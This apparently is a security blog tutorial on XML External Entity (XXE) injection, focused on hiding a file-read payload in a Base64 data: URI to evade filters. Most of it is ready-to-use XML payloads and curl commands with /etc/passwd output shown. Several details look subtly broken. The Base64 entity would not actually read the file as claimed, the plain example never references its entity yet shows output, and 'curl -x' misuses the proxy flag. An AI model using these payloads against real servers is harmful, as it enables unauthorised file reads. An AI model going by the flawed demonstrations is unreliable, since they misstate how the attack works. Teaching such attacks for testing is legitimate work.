XML External Entity (XXE) Injection exploits flaws found in the XML parser of a program which accepts an XML Document in some form or another. A complete guide on the topic is available here, however I’ve had a lot of interest specifically in Base64 xxe exploitation, and so here we’ll dive deep on how we can leverage this attack vector.
Assuming you have a grasp on what the basic XML XXE payloads are, we’ll just focus on leveraging Base64 data to help us either:
- Subvert Web Application Firewall rules
- Subvert simple string sanitization rules in the application
The following payloads will check for the vulnerability. If they work, you’ll receive /etc/passwd
.
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]>
<apiRequest></apiRequest>
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
This will only work if the server accepts the data://
protocol! For customizing this, keep reading!
In general, the available attack vectors for an XXE vulnerability are as follows:
- File Inclusion
- Server Side Request Forgery (SSRF)
- XInclude
- File Upload (XML, SVG, DOCX, …)
- Content-Type Manipulation
In the case of Base64 XXE, we’re specifically looking to mask a file inclusion payload by using a base64 encoded string. This has the benefit of circumventing any primitive filtering of payloads that may block special characters or specific strings.
Let’s say there’s an API accepting an XML payload to generate a fish… We can create a payload, and use curl to post it.
<fish>
<species>Salmon</species>
</fish>
curl -x POST -d '<fish><species>Salmon</species></fish>' salmonsec.com/XXEVulnerableAPI
Salmon created!
Now let’s suppose there are missing protection measures, and we can preform XXE Injection straight-up like this:
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<fish></fish>
curl -x POST -d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><fish></fish>' salmonsec.com/XXEVulnerableAPI
Invalid species: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Just like that, we gained arbitrary file read on the system - fun! Let’s assume the developers of this application are active and attempt to remediate the issue by filtering for the file://
keyword…
Well, now we can just encode our payload as Base64!
echo 'file:///etc/passwd' | base64
ZmlsZTovLy9ldGMvcGFzc3dk
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]>
<fish></fish>
curl -x POST -d '<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><fish></fish>' salmonsec.com/XXEVulnerableAPI
Invalid species: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Hint: This trick can be used for protocol’s other than file://
, like php://
or jar://
.
$ cd content && tree
.
|____2022
| |____November
| | |____home_lab_6
| | |____proxmox_route_single_interface_through_vpn
| | |____proxmox_route_single_interface_through_vpn
| | |____proxmox_update_networking
| | |____blue_team_2
| | |____blue_team_1
| | |____hackthebox_redpanda
| | |____tryhackme_neighbour
| | |____post_exploitation_journey_2
| | |____post_exploitation_journey_1
| | |____try_hack_me_vulnnetendgame
| | |____try_hack_me_corridor
| | |____try_hack_me_surfer
| | |____try_hack_me_epoch
| | |____try_hack_me_template
| | |____modern_image_format_conversion
| |____October
| |____September
| |____February
| | |____perfect_opsec_anon_accounts
| | |____perfect_opsec_pgp
| | |____perfect_opsec_anon_payment
| | |____perfect_opsec_disk_encryption
| | |____perfect_opsec_hardware_spoofing
| | |____perfect_opsec_vpn_vps_and_tor
| | |____perfect_opsec_tor_browser
| | |____perfect_opsec_source_network
| | |____perfect_opsec_os_install
| | |____perfect_opsec_mitigate_author_profiling
| | |____perfect_opsec_hardware
| | |____perfect_opsec_clearnet_browser
| | |____perfect_opsec_basic_os_config
|____2021
| |____May
| |____April
| |____February
|____2020
| |____December
| |____January
| |____August
| |____July
| | |____playbook
| | |____kioptrix_level_5
| | |____kioptrix_level_4
| | |____kioptrix_level_3
| | |____kioptrix_level_2
| | |____kioptrix_level_1
| | |____ringzer0team_sysadmin_linux_8
| | |____ringzer0team_sysadmin_linux_7
| | |____ringzer0team_sysadmin_linux_6
| | |____ringzer0team_sysadmin_linux_5
| | |____ringzer0team_sysadmin_linux_4
| | |____ringzer0team_sysadmin_linux_3
| | |____ringzer0team_sysadmin_linux_2
| | |____ringzer0team_sysadmin_linux_1
| | |____planning_phase_0
| | |____blog_creation